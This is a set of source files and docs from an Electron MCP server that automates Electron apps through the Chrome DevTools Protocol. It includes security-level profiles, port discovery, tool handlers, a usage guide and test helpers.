          'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.';
      }
    } catch {
      logOutput +=
        'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222';
    }

    return logOutput;
  } catch (error) {
    return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`;
  }
}

```

--------------------------------------------------------------------------------
/src/security/config.ts:
--------------------------------------------------------------------------------

```typescript
import { SecurityConfig } from './manager';
import { logger } from '../utils/logger';

export enum SecurityLevel {
  STRICT = 'strict', // Maximum security - blocks most function calls
  BALANCED = 'balanced', // Default - allows safe UI interactions
  PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations
  DEVELOPMENT = 'development', // Least restrictive - for development/testing
}

/**
 * Represents a security profile configuration for controlling access and interactions within the application.
 *
 * @property level - The security level applied to the profile.
 * @property allowUIInteractions - Indicates if UI interactions are permitted.
 * @property allowDOMQueries - Indicates if DOM queries are allowed.
 * @property allowPropertyAccess - Indicates if property access is permitted.
 * @property allowAssignments - Indicates if assignments to properties are allowed.
 * @property allowFunctionCalls - Whitelist of allowed function patterns for invocation.
 * @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile.
 */
export interface SecurityProfile {
  level: SecurityLevel;
  allowUIInteractions: boolean;
  allowDOMQueries: boolean;
  allowPropertyAccess: boolean;
  allowAssignments: boolean;
  allowFunctionCalls: string[]; // Whitelist of allowed function patterns
  riskThreshold: 'low' | 'medium' | 'high' | 'critical';
}

export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = {
  [SecurityLevel.STRICT]: {
    level: SecurityLevel.STRICT,
    allowUIInteractions: false,
    allowDOMQueries: false,
    allowPropertyAccess: true,
    allowAssignments: false,
    allowFunctionCalls: [],
    riskThreshold: 'low',
  },

  [SecurityLevel.BALANCED]: {
    level: SecurityLevel.BALANCED,
    allowUIInteractions: true,
    allowDOMQueries: true,
    allowPropertyAccess: true,
    allowAssignments: false,
    allowFunctionCalls: [
      'querySelector',
      'querySelectorAll',
      'getElementById',
      'getElementsByClassName',
      'getElementsByTagName',
      'getComputedStyle',
      'getBoundingClientRect',
      'focus',
      'blur',
      'scrollIntoView',
      'dispatchEvent',
    ],
    riskThreshold: 'medium',
  },

  [SecurityLevel.PERMISSIVE]: {
    level: SecurityLevel.PERMISSIVE,
    allowUIInteractions: true,
    allowDOMQueries: true,
    allowPropertyAccess: true,
    allowAssignments: true,
    allowFunctionCalls: [
      'querySelector',
      'querySelectorAll',
      'getElementById',
      'getElementsByClassName',
      'getElementsByTagName',
      'getComputedStyle',
      'getBoundingClientRect',
      'focus',
      'blur',
      'scrollIntoView',
      'dispatchEvent',
      'click',
      'submit',
      'addEventListener',
      'removeEventListener',
    ],
    riskThreshold: 'high',
  },

  [SecurityLevel.DEVELOPMENT]: {
    level: SecurityLevel.DEVELOPMENT,
    allowUIInteractions: true,
    allowDOMQueries: true,
    allowPropertyAccess: true,
    allowAssignments: true,
    allowFunctionCalls: ['*'], // Allow all function calls
    riskThreshold: 'critical',
  },
};

export function getSecurityConfig(
  level: SecurityLevel = SecurityLevel.BALANCED,
): Partial<SecurityConfig> {
  const profile = SECURITY_PROFILES[level];

  return {
    defaultRiskThreshold: profile.riskThreshold,
    enableInputValidation: true,
    enableAuditLog: true,
    enableSandbox: level !== SecurityLevel.DEVELOPMENT,
    enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT,
  };
}

/**
 * Get the default security level from environment variable or fallback to BALANCED
 * Environment variable: SECURITY_LEVEL
 * Valid values: strict, balanced, permissive, development
 */
export function getDefaultSecurityLevel(): SecurityLevel {
  const envSecurityLevel = process.env.SECURITY_LEVEL;
  
  if (envSecurityLevel) {
    const normalizedLevel = envSecurityLevel.toLowerCase();
    
    // Check if the provided value is a valid SecurityLevel
    if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) {
      logger.info(`Using security level from environment: ${normalizedLevel}`);
      return normalizedLevel as SecurityLevel;
    } else {
      logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`);
    }
  }
  
  logger.info('Using BALANCED security level (default)');
  return SecurityLevel.BALANCED;
}

```

--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------

```markdown
# Bug Report Template

When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue.

## Basic Information

- **MCP Server Version**: `[email protected]`
- **Node.js Version**: `node --version`
- **Electron Version**: `electron --version`
- **Operating System**: Windows/macOS/Linux
- **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT

## Bug Description

### Expected Behavior
What should happen when the command is executed.

### Actual Behavior
What actually happens, including any error messages.

## Reproduction Steps

### 1. MCP Command Structure

**Tool Name**: `tool_name`
**Method**: `tools/call`
**Arguments Structure**:
```json
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "tool_name",
    "arguments": {
      "command": "command_name",
      "args": {
        "parameter": "value"
      }
    }
  }
}
```

### 2. Full Command Example

```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js
```

### 3. Error Output

```
[MCP] ERROR: Error message here
{"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1}
```

### 4. Expected Output

```
[MCP] INFO: Success message here
{"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1}
```

## Technical Context

### Target Application
- **Application Type**: React/Vue/Angular/Vanilla JS
- **Framework Version**: React 18, Vue 3, etc.
- **Electron Remote Debugging**: Port 9222 enabled
- **DevTools Available**: Yes/No

### Environment Setup

```bash
# Commands to reproduce the environment
npm install
npm run build
npm run start
```

### Application State
- **Page URL**: `file:///path/to/app.html` or `http://localhost:3000`
- **DOM Elements**: Provide `get_page_structure` output if relevant
- **Console Errors**: Any JavaScript errors in the target application

## Additional Information

### Related Files
- Source code files involved
- Configuration files
- Log files

### Debugging Attempts
What you've already tried to fix the issue.

### Screenshots
Include screenshots of the application state, if helpful.

---

## Example Bug Reports

### Example 1: Click Command Failure

**Bug**: Click commands fail on React components with preventDefault

**MCP Command**:
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js
```

**Error Output**:
```
[MCP] INFO: Tool call: send_command_to_electron
{"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
```

**Expected Output**:
```
{"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1}
```

**Technical Details**:
- **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>`
- **Issue Location**: `src/utils/electron-commands.ts:515`
- **Root Cause**: preventDefault() treated as failure condition

### Example 2: Form Input Detection Failure

**Bug**: fill_input returns "No suitable input found" for visible React inputs

**MCP Command**:
```bash
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js
```

**Error Output**:
```
{"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2}
```

**Page Structure Output**:
```bash
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```

```json
{
  "inputs": [
    {
      "type": "text",
      "placeholder": "Enter username",
      "label": "Username",
      "id": "username",
      "name": "username",
      "visible": true
    }
  ]
}
```

**Technical Details**:
- **Target Element**: `<input id="username" name="username" placeholder="Enter username" />`
- **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm
- **Root Cause**: Scoring algorithm fails to match React-rendered inputs

```

--------------------------------------------------------------------------------
/src/utils/electron-discovery.ts:
--------------------------------------------------------------------------------

```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { logger } from './logger';

export interface ElectronAppInfo {
  port: number;
  targets: any[];
}

export interface WindowInfo {
  id: string;
  title: string;
  url: string;
  type: string;
  description: string;
  webSocketDebuggerUrl: string;
}

export interface ElectronWindowResult {
  platform: string;
  devToolsPort?: number;
  windows: WindowInfo[];
  totalTargets: number;
  electronTargets: number;
  processInfo?: any;
  message: string;
  automationReady: boolean;
}

/**
 * Scan for running Electron applications with DevTools enabled
 */
export async function scanForElectronApps(): Promise<ElectronAppInfo[]> {
  logger.debug('Scanning for running Electron applications...');

  // Extended port range to include test apps and common custom ports
  const commonPorts = [
    9222,
    9223,
    9224,
    9225, // Default ports
    9200,
    9201,
    9202,
    9203,
    9204,
    9205, // Security test range
    9300,
    9301,
    9302,
    9303,
    9304,
    9305, // Integration test range
    9400,
    9401,
    9402,
    9403,
    9404,
    9405, // Additional range
  ];
  const foundApps: ElectronAppInfo[] = [];

  for (const port of commonPorts) {
    try {
      const response = await fetch(`http://localhost:${port}/json`, {
        signal: AbortSignal.timeout(1000),
      });

      if (response.ok) {
        const targets = await response.json();
        const pageTargets = targets.filter((target: any) => target.type === 'page');

        if (pageTargets.length > 0) {
          foundApps.push({
            port,
            targets: pageTargets,
          });
          logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`);
        }
      }
    } catch {
      // Continue to next port
    }
  }

  return foundApps;
}

/**
 * Get detailed process information for running Electron applications
 */
export async function getElectronProcessInfo(): Promise<any> {
  const execAsync = promisify(exec);

  try {
    const { stdout } = await execAsync(
      "ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'",
    );

    const electronProcesses = stdout
      .trim()
      .split('\n')
      .filter((line) => line.includes('electron'))
      .map((line) => {
        const parts = line.trim().split(/\s+/);
        return {
          pid: parts[1],
          cpu: parts[2],
          memory: parts[3],
          command: parts.slice(10).join(' '),
        };
      });

    return { electronProcesses };
  } catch (error) {
    logger.debug('Could not get process info:', error);
    return {};
  }
}

/**
 * Find the main target from a list of targets
 */
export function findMainTarget(targets: any[]): any | null {
  return (
    targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) ||
    targets.find((target: any) => target.type === 'page')
  );
}

/**
 * Get window information from any running Electron app
 */
export async function getElectronWindowInfo(
  includeChildren: boolean = false,
): Promise<ElectronWindowResult> {
  try {
    const foundApps = await scanForElectronApps();

    if (foundApps.length === 0) {
      return {
        platform: process.platform,
        windows: [],
        totalTargets: 0,
        electronTargets: 0,
        message: 'No Electron applications found with remote debugging enabled',
        automationReady: false,
      };
    }

    // Use the first found app
    const app = foundApps[0];
    const windows: WindowInfo[] = app.targets.map((target: any) => ({
      id: target.id,
      title: target.title,
      url: target.url,
      type: target.type,
      description: target.description || '',
      webSocketDebuggerUrl: target.webSocketDebuggerUrl,
    }));

    // Get additional process information
    const processInfo = await getElectronProcessInfo();

    return {
      platform: process.platform,
      devToolsPort: app.port,
      windows: includeChildren
        ? windows
        : windows.filter((w: WindowInfo) => !w.title.includes('DevTools')),
      totalTargets: windows.length,
      electronTargets: windows.length,
      processInfo,
      message: `Found running Electron application with ${windows.length} windows on port ${app.port}`,
      automationReady: true,
    };
  } catch (error) {
    logger.error('Failed to scan for applications:', error);
    return {
      platform: process.platform,
      windows: [],
      totalTargets: 0,
      electronTargets: 0,
      message: `Failed to scan for Electron applications: ${
        error instanceof Error ? error.message : String(error)
      }`,
      automationReady: false,
    };
  }
}

```

--------------------------------------------------------------------------------
/MCP_USAGE_GUIDE.md:
--------------------------------------------------------------------------------

```markdown
# MCP Usage Examples for Electron MCP Server

This document provides comprehensive examples of how to properly use the Electron MCP Server tools.

## 🎯 Common Patterns

### Getting Started - Page Inspection

Always start by understanding the page structure:

```json
{
  "command": "get_page_structure"
}
```

This returns all interactive elements with their properties, helping you choose the right targeting method.

### Button Interactions

#### Method 1: Click by Visible Text (Recommended)

```json
{
  "command": "click_by_text",
  "args": {
    "text": "Create New Encyclopedia"
  }
}
```

#### Method 2: Click by CSS Selector

```json
{
  "command": "click_by_selector",
  "args": {
    "selector": "button[class*='bg-blue-500']"
  }
}
```

### Form Interactions

#### Fill Input by Placeholder

```json
{
  "command": "fill_input",
  "args": {
    "placeholder": "Enter encyclopedia name",
    "value": "AI and Machine Learning"
  }
}
```

#### Fill Input by CSS Selector

```json
{
  "command": "fill_input",
  "args": {
    "selector": "#email",
    "value": "[email protected]"
  }
}
```

### Keyboard Shortcuts

```json
{
  "command": "send_keyboard_shortcut",
  "args": {
    "text": "Ctrl+N"
  }
}
```

### Custom JavaScript

```json
{
  "command": "eval",
  "args": {
    "code": "document.querySelectorAll('button').length"
  }
}
```

## 🚨 Common Mistakes and Fixes

### ❌ Mistake 1: Wrong Argument Structure

```json
// WRONG - causes "selector is empty" error
{
  "command": "click_by_selector",
  "args": "button.submit"
}

// CORRECT
{
  "command": "click_by_selector",
  "args": {
    "selector": "button.submit"
  }
}
```

### ❌ Mistake 2: Using Complex Selectors Incorrectly

```json
// WRONG - invalid CSS syntax
{
  "command": "click_by_selector",
  "args": {
    "selector": "button:has-text('Create')"
  }
}

// CORRECT - use click_by_text instead
{
  "command": "click_by_text",
  "args": {
    "text": "Create"
  }
}
```

### ❌ Mistake 3: Not Handling React/Dynamic Content

```json
// BETTER - wait and retry pattern
{
  "command": "get_page_structure"
}
// Check if elements loaded, then:
{
  "command": "click_by_selector",
  "args": {
    "selector": "button[data-testid='submit']"
  }
}
```

## 🔄 Complete Workflow Examples

### Example 1: Creating a New Item in an App

```json
// 1. Take a screenshot to see current state
{
  "tool": "take_screenshot"
}

// 2. Understand the page structure
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "get_page_structure"
  }
}

// 3. Click the "Create" button
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "click_by_text",
    "args": {
      "text": "Create New"
    }
  }
}

// 4. Fill in the form
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "fill_input",
    "args": {
      "placeholder": "Enter name",
      "value": "My New Item"
    }
  }
}

// 5. Submit the form
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "click_by_selector",
    "args": {
      "selector": "button[type='submit']"
    }
  }
}

// 6. Verify success
{
  "tool": "take_screenshot"
}
```

### Example 2: Debugging Element Issues

```json
// 1. Get all button information
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "debug_elements"
  }
}

// 2. Check specific element properties
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "eval",
    "args": {
      "code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))"
    }
  }
}

// 3. Try alternative targeting method
{
  "tool": "send_command_to_electron",
  "args": {
    "command": "click_by_text",
    "args": {
      "text": "Submit"
    }
  }
}
```

## 💡 Best Practices

### 1. Always Verify Element Existence

```json
{
  "command": "eval",
  "args": {
    "code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'"
  }
}
```

### 2. Use Text-Based Targeting When Possible

Text-based targeting is more resilient to UI changes:

```json
{
  "command": "click_by_text",
  "args": {
    "text": "Save"
  }
}
```

### 3. Fallback Strategies

```json
// Try text first
{
  "command": "click_by_text",
  "args": {
    "text": "Submit"
  }
}

// If that fails, try selector
{
  "command": "click_by_selector",
  "args": {
    "selector": "button[type='submit']"
  }
}
```

### 4. Handle Dynamic Content

```json
// Check if content is loaded
{
  "command": "eval",
  "args": {
    "code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'"
  }
}
```

## 🛠️ Security Considerations

### Safe JavaScript Execution

```json
// SAFE - simple property access
{
  "command": "eval",
  "args": {
    "code": "document.title"
  }
}

// AVOID - complex operations that might be blocked
{
  "command": "eval",
  "args": {
    "code": "fetch('/api/data').then(r => r.json())"
  }
}
```

### Use Built-in Commands

Prefer built-in commands over eval when possible:

```json
// BETTER
{
  "command": "get_title"
}

// INSTEAD OF
{
  "command": "eval",
  "args": {
    "code": "document.title"
  }
}
```

## 📝 Tool Reference Summary

| Tool                       | Purpose        | Key Arguments                               |
| -------------------------- | -------------- | ------------------------------------------- |
| `get_electron_window_info` | Get app info   | `includeChildren: boolean`                  |
| `take_screenshot`          | Capture screen | `windowTitle?: string, outputPath?: string` |
| `send_command_to_electron` | UI interaction | `command: string, args: object`             |
| `read_electron_logs`       | View logs      | `logType?: string, lines?: number`          |

Remember: Always structure arguments as objects with the appropriate properties for each command!

```

--------------------------------------------------------------------------------
/src/handlers.ts:
--------------------------------------------------------------------------------

```typescript
import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types';
import { z } from 'zod';
import { ToolName } from './tools';
import {
  SendCommandToElectronSchema,
  TakeScreenshotSchema,
  ReadElectronLogsSchema,
  GetElectronWindowInfoSchema,
} from './schemas';
import { sendCommandToElectron } from './utils/electron-enhanced-commands';
import { getElectronWindowInfo } from './utils/electron-discovery';
import { readElectronLogs } from './utils/electron-logs';
import { takeScreenshot } from './screenshot';
import { logger } from './utils/logger';
import { securityManager } from './security/manager';

export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) {
  const { name, arguments: args } = request.params;

  // Extract request metadata for security logging
  const sourceIP = (request as any).meta?.sourceIP;
  const userAgent = (request as any).meta?.userAgent;

  try {
    switch (name) {
      case ToolName.GET_ELECTRON_WINDOW_INFO: {
        // This is a low-risk read operation - basic validation only
        const { includeChildren } = GetElectronWindowInfoSchema.parse(args);

        const securityResult = await securityManager.executeSecurely({
          command: 'get_window_info',
          args,
          sourceIP,
          userAgent,
          operationType: 'window_info',
        });

        if (securityResult.blocked) {
          return {
            content: [
              {
                type: 'text',
                text: `Operation blocked: ${securityResult.error}`,
              },
            ],
            isError: true,
          };
        }

        const result = await getElectronWindowInfo(includeChildren);
        return {
          content: [
            {
              type: 'text',
              text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`,
            },
          ],
          isError: false,
        };
      }

      case ToolName.TAKE_SCREENSHOT: {
        // Security check for screenshot operation
        const securityResult = await securityManager.executeSecurely({
          command: 'take_screenshot',
          args,
          sourceIP,
          userAgent,
          operationType: 'screenshot',
        });

        if (securityResult.blocked) {
          return {
            content: [
              {
                type: 'text',
                text: `Screenshot blocked: ${securityResult.error}`,
              },
            ],
            isError: true,
          };
        }
        const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args);
        const result = await takeScreenshot(outputPath, windowTitle);

        // Return the screenshot as base64 data for AI to evaluate
        const content: any[] = [];

        if (result.filePath) {
          content.push({
            type: 'text',
            text: `Screenshot saved to: ${result.filePath}`,
          });
        } else {
          content.push({
            type: 'text',
            text: 'Screenshot captured in memory (no file saved)',
          });
        }

        // Add the image data for AI evaluation
        content.push({
          type: 'image',
          data: result.base64!,
          mimeType: 'image/png',
        });

        return { content, isError: false };
      }

      case ToolName.SEND_COMMAND_TO_ELECTRON: {
        const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args);

        // Execute command through security manager
        const securityResult = await securityManager.executeSecurely({
          command,
          args: commandArgs,
          sourceIP,
          userAgent,
          operationType: 'command',
        });

        if (securityResult.blocked) {
          return {
            content: [
              {
                type: 'text',
                text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`,
              },
            ],
            isError: true,
          };
        }

        if (!securityResult.success) {
          return {
            content: [
              {
                type: 'text',
                text: `Command failed: ${securityResult.error}`,
              },
            ],
            isError: true,
          };
        }

        // Execute the actual command if security checks pass
        const result = await sendCommandToElectron(command, commandArgs);
        return {
          content: [{ type: 'text', text: result }],
          isError: false,
        };
      }

      case ToolName.READ_ELECTRON_LOGS: {
        const { logType, lines, follow } = ReadElectronLogsSchema.parse(args);
        const logs = await readElectronLogs(logType, lines);

        if (follow) {
          return {
            content: [
              {
                type: 'text',
                text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`,
              },
            ],
            isError: false,
          };
        }

        return {
          content: [
            {
              type: 'text',
              text: `Electron logs (${logType}):\n\n${logs}`,
            },
          ],
          isError: false,
        };
      }

      default:
        return {
          content: [
            {
              type: 'text',
              text: `Unknown tool: ${name}`,
            },
          ],
          isError: true,
        };
    }
  } catch (error) {
    const errorMessage = error instanceof Error ? error.message : String(error);
    const errorStack = error instanceof Error ? error.stack : undefined;

    logger.error(`Tool execution failed: ${name}`, {
      error: errorMessage,
      stack: errorStack,
      args,
    });

    return {
      content: [
        {
          type: 'text',
          text: `Error executing ${name}: ${errorMessage}`,
        },
      ],
      isError: true,
    };
  }
}

```

--------------------------------------------------------------------------------
/src/utils/electron-connection.ts:
--------------------------------------------------------------------------------

```typescript
import WebSocket from 'ws';
import { scanForElectronApps, findMainTarget } from './electron-discovery';
import { logger } from './logger';

export interface DevToolsTarget {
  id: string;
  title: string;
  url: string;
  webSocketDebuggerUrl: string;
  type: string;
}

export interface CommandResult {
  success: boolean;
  result?: any;
  error?: string;
  message: string;
}

/**
 * Find and connect to a running Electron application
 */
export async function findElectronTarget(): Promise<DevToolsTarget> {
  logger.debug('Looking for running Electron applications...');

  const foundApps = await scanForElectronApps();

  if (foundApps.length === 0) {
    throw new Error(
      'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222',
    );
  }

  const app = foundApps[0];
  const mainTarget = findMainTarget(app.targets);

  if (!mainTarget) {
    throw new Error('No suitable target found in Electron application');
  }

  logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`);

  return {
    id: mainTarget.id,
    title: mainTarget.title,
    url: mainTarget.url,
    webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl,
    type: mainTarget.type,
  };
}

/**
 * Execute JavaScript code in an Electron application via Chrome DevTools Protocol
 */
export async function executeInElectron(
  javascriptCode: string,
  target?: DevToolsTarget,
): Promise<string> {
  const targetInfo = target || (await findElectronTarget());

  if (!targetInfo.webSocketDebuggerUrl) {
    throw new Error('No WebSocket debugger URL available');
  }

  return new Promise((resolve, reject) => {
    const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
    const messageId = Math.floor(Math.random() * 1000000);

    const timeout = setTimeout(() => {
      ws.close();
      reject(new Error('Command execution timeout (10s)'));
    }, 10000);

    ws.on('open', () => {
      logger.debug(`Connected to ${targetInfo.title} via WebSocket`);

      // Enable Runtime domain first
      ws.send(
        JSON.stringify({
          id: 1,
          method: 'Runtime.enable',
        }),
      );

      // Send Runtime.evaluate command
      const message = {
        id: messageId,
        method: 'Runtime.evaluate',
        params: {
          expression: javascriptCode,
          returnByValue: true,
          awaitPromise: false,
        },
      };

      logger.debug(`Executing JavaScript code...`);
      ws.send(JSON.stringify(message));
    });

    ws.on('message', (data) => {
      try {
        const response = JSON.parse(data.toString());

        // Filter out noisy CDP events to reduce log spam
        const FILTERED_CDP_METHODS = [
          'Runtime.executionContextCreated',
          'Runtime.consoleAPICalled',
          'Console.messageAdded',
          'Page.frameNavigated',
          'Page.loadEventFired',
        ];

        // Only log CDP events if debug level is enabled and they're not filtered
        if (
          logger.isEnabled(3) &&
          (!response.method || !FILTERED_CDP_METHODS.includes(response.method))
        ) {
          logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2));
        }

        if (response.id === messageId) {
          clearTimeout(timeout);
          ws.close();

          if (response.error) {
            logger.error(`DevTools Protocol error:`, response.error);
            reject(new Error(`DevTools Protocol error: ${response.error.message}`));
          } else if (response.result) {
            const result = response.result.result;
            logger.debug(`Execution result type: ${result?.type}, value:`, result?.value);

            if (result.type === 'string') {
              resolve(`✅ Command executed: ${result.value}`);
            } else if (result.type === 'number') {
              resolve(`✅ Result: ${result.value}`);
            } else if (result.type === 'boolean') {
              resolve(`✅ Result: ${result.value}`);
            } else if (result.type === 'undefined') {
              resolve(`✅ Command executed successfully`);
            } else if (result.type === 'object') {
              if (result.value === null) {
                resolve(`✅ Result: null`);
              } else if (result.value === undefined) {
                resolve(`✅ Result: undefined`);
              } else {
                try {
                  resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`);
                } catch {
                  resolve(
                    `✅ Result: [Object - could not serialize: ${
                      result.className || result.objectId || 'unknown'
                    }]`,
                  );
                }
              }
            } else {
              resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`);
            }
          } else {
            logger.debug(`No result in response:`, response);
            resolve(`✅ Command sent successfully`);
          }
        }
      } catch (error) {
        // Only treat parsing errors as warnings, not errors
        logger.warn(`Failed to parse CDP response:`, error);
      }
    });

    ws.on('error', (error) => {
      clearTimeout(timeout);
      reject(new Error(`WebSocket error: ${error.message}`));
    });
  });
}

/**
 * Connect to Electron app for real-time log monitoring
 */
export async function connectForLogs(
  target?: DevToolsTarget,
  onLog?: (log: string) => void,
): Promise<WebSocket> {
  const targetInfo = target || (await findElectronTarget());

  if (!targetInfo.webSocketDebuggerUrl) {
    throw new Error('No WebSocket debugger URL available for log connection');
  }

  return new Promise((resolve, reject) => {
    const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);

    ws.on('open', () => {
      logger.debug(`Connected for log monitoring to: ${targetInfo.title}`);

      // Enable Runtime and Console domains
      ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
      ws.send(JSON.stringify({ id: 2, method: 'Console.enable' }));

      resolve(ws);
    });

    ws.on('message', (data) => {
      try {
        const response = JSON.parse(data.toString());

        if (response.method === 'Console.messageAdded') {
          const msg = response.params.message;
          const timestamp = new Date().toISOString();
          const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`;
          onLog?.(logEntry);
        } else if (response.method === 'Runtime.consoleAPICalled') {
          const call = response.params;
          const timestamp = new Date().toISOString();
          const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || '';
          const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`;
          onLog?.(logEntry);
        }
      } catch (error) {
        logger.warn(`Failed to parse log message:`, error);
      }
    });

    ws.on('error', (error) => {
      reject(new Error(`WebSocket error: ${error.message}`));
    });
  });
}

```

--------------------------------------------------------------------------------
/tests/support/helpers.ts:
--------------------------------------------------------------------------------

```typescript
import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs';
import { join, basename } from 'path';
import { logger } from '../../src/utils/logger';
import { TEST_CONFIG, createElectronAppPath } from './config';
import { spawn, ChildProcess } from 'child_process';
import { createServer } from 'net';

export interface TestElectronApp {
  port: number;
  process: ChildProcess;
  appPath: string;
  cleanup: () => Promise<void>;
}

export interface CleanupOptions {
  removeLogsDir?: boolean;
  removeTempDir?: boolean;
  preserveKeys?: boolean;
}

/**
 * Consolidated test helpers and utilities
 */
export class TestHelpers {
  /**
   * Create and start a test Electron application
   */
  static async createTestElectronApp(): Promise<TestElectronApp> {
    const port = await this.findAvailablePort();
    const appPath = createElectronAppPath(port);

    // Create app directory and files
    mkdirSync(appPath, { recursive: true });

    // Create package.json
    const packageJson = {
      name: 'test-electron-app',
      version: '1.0.0',
      main: 'main.js',
      scripts: {
        start: 'electron .',
      },
    };
    writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2));

    // Create main.js
    const mainJs = `
      const { app, BrowserWindow } = require('electron');
      const path = require('path');
      
      let mainWindow;
      
      app.commandLine.appendSwitch('remote-debugging-port', '${port}');
      app.commandLine.appendSwitch('no-sandbox');
      app.commandLine.appendSwitch('disable-web-security');
      
      function createWindow() {
        mainWindow = new BrowserWindow({
          width: 800,
          height: 600,
          show: false, // Keep hidden for testing
          webPreferences: {
            nodeIntegration: true,
            contextIsolation: false
          }
        });
        
        mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}');
        mainWindow.loadFile('index.html');
        
        mainWindow.webContents.once('did-finish-load', () => {
          console.log('[TEST-APP] Window ready, staying hidden for testing');
        });
      }
      
      app.whenReady().then(() => {
        createWindow();
        console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}');
      });
      
      app.on('window-all-closed', () => {
        if (process.platform !== 'darwin') {
          app.quit();
        }
      });
    `;
    writeFileSync(join(appPath, 'main.js'), mainJs);

    // Create index.html
    writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT);

    // Start the Electron process
    const electronProcess = spawn('npx', ['electron', '.'], {
      cwd: appPath,
      stdio: ['pipe', 'pipe', 'pipe'],
    });

    const app: TestElectronApp = {
      port,
      process: electronProcess,
      appPath,
      cleanup: async () => {
        electronProcess.kill();
        if (existsSync(appPath)) {
          rmSync(appPath, { recursive: true, force: true });
        }
      },
    };

    // Wait for app to be ready
    await this.waitForElectronApp(app);

    return app;
  }

  /**
   * Wait for Electron app to be ready for testing
   */
  static async waitForElectronApp(
    app: TestElectronApp,
    timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START,
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const startTime = Date.now();

      const checkReady = async () => {
        try {
          const response = await fetch(`http://localhost:${app.port}/json`);
          if (response.ok) {
            logger.info(`✅ Test Electron app ready for integration and security testing`);
            resolve();
            return;
          }
        } catch {
          // App not ready yet
        }

        if (Date.now() - startTime > timeout) {
          reject(new Error(`Electron app failed to start within ${timeout}ms`));
          return;
        }

        setTimeout(checkReady, 100);
      };

      checkReady();
    });
  }

  /**
   * Find an available port in the configured range
   */
  private static async findAvailablePort(): Promise<number> {
    const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE;

    for (let port = start; port <= end; port++) {
      if (await this.isPortAvailable(port)) {
        return port;
      }
    }

    throw new Error(`No available ports in range ${start}-${end}`);
  }

  /**
   * Check if a port is available
   */
